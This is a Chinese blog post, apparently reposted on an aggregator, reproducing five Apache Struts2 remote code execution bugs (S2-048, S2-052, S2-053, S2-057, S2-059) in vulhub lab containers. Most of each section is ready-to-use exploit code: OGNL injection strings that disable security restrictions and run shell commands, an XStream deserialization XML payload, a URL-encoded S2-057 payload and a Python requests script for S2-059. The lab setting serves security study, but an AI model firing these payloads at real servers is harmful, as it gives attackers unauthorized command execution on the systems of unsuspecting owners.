概述
本来想把struts2剩下的靶场全部打完然后写博客分享给大家,但是vulhub搭建实在是太慢了!!!无奈只能先把复现好的这几个分享出来了。
(CVE-2017-9791)s2-048
一、漏洞简介
当实用了Struts2 Struts1 插件时,可能导致不受信任的输入传入到ActionMessage类种导致命令执行
二、影响范围
2.3.x
三、漏洞复现:
进入靶场
第一个框填入${4*4},其余两个框随意填
可以看到计算结果回显出来了
Poc:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(**'id**').getInputStream())).(#q)}
将poc写入,成功执行id命令
(CVE-2017-9805)s2-052
一、漏洞简介
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:
扩展名 Content-Type 解析方法
jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:
//或者
所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedgetType。
Struts2-Rest-Plugin这个插件是根据Content-Type或者扩展名来选择解析方法,xstream在默认情况下是可以引入任意对象的,所以他在处理xml的时候会发生RCE(xstream处理xml数据时,未对数据做任何过滤,在反序列化将xml数据转换成object时导致的RCE)。利用起来就是改Content-Type或扩展名 .xml application/xml 发恶意xml
二、漏洞复现:
访问http://your-ip:8080/orders.xhtml即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。
具体操作:bp抓包,修改Content-Type头
然后把下面的xml数据插入post包中
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
虽然返回了500,但命令还是执行了。
到docker镜像里查看,可以看到lin文件成功创建
(CVE-2017-12611)S2-053
一、漏洞简介
在一定条件下,当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞
二、漏洞影响
Struts 2.0.1 - 2.3.33
Struts 2.5 - 2.5.10
三、复现过程
poc
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
进入靶场,poc直接上。
s2-057
一、漏洞详情:
2018年8月22日,Apache官方发布通告公布了Struts2中一个远程代码执行漏洞(CVE-2018-11776,CNVD-2018-15894,CNNVD-201808-740)。该漏洞在两种情况下存在,
第一,当xml配置中未设置namespace 值,且上层动作配置(action(s) configurations)中未设置或使用通配符namespace值时,可能导致远程代码执行漏洞的发生。
第二,使用未设置 value和action值的url标签,且上层动作配置中未设置或使用通配符namespace值,同样可能导致远程代码执行。
二、影响版本:
Struts 2.3 – 2.3.34
Struts 2.5 – 2.5.16
三、漏洞复现:
当Struts2的配置满⾜以下条件时
alwaysSelectFullNamespace值为true
action元素未设置namespace属性或使⽤了通配符
namespace将由⽤户从uri传⼊并作为OGNL表达式计算最终造成任意命令执⾏漏
看到url回显了计算结果
2.3.34版本 RCE ✅
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action
进行url编码:
%24%7B%0A%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
将id改为whoami,漏洞利用成功
**
s2-059
**
一、漏洞简介:
该漏洞是一个Object-Graph Navigation Language (OGNL)强制两次评估的漏洞,当Struts尝试对tag属相中的原始用户输入进行评估时会触发该漏洞。攻击者可以通过注入恶意OGNL表达式到OGNL表达式中使用的属性中来利用该漏洞。攻击者利用该漏洞可以实现远程代码执行。
O GNL是对象图导航语言(Object-Graph Navigation Languaged)的缩写,他是一种功能强大的表达式语言,通过简单一致的表达式语法,可以存取Java对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型的转化功能。他使用相同的表达式去存取对象的属性。如果吧表达式看作一个带有语义的字符串,那么OGNL无疑成为了这个语义字符串与java对象之间沟通的桥梁。
二、影响范围:
2.5.22之前的Struts 版本受到该漏洞的影响
漏洞复现:
访问http://your-ip:8080/?id=1 可以看到测试界面
访问 http://your-ip:8080/?id=%25%7B44%7D 可以发现44的结果被解析到了id属性中
上poc,
import requests
url = "http://192.168.174.130:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/lin'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
可以看到lin文件创建成功,
Poc主要修改红框的内容
最后
以上就是虚幻老鼠为你收集整理的vulhub漏洞复现系列之struts2(s2-048、s2-052、S2-053、s2-057、s2-059)的全部内容,希望文章能够帮你解决vulhub漏洞复现系列之struts2(s2-048、s2-052、S2-053、s2-057、s2-059)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复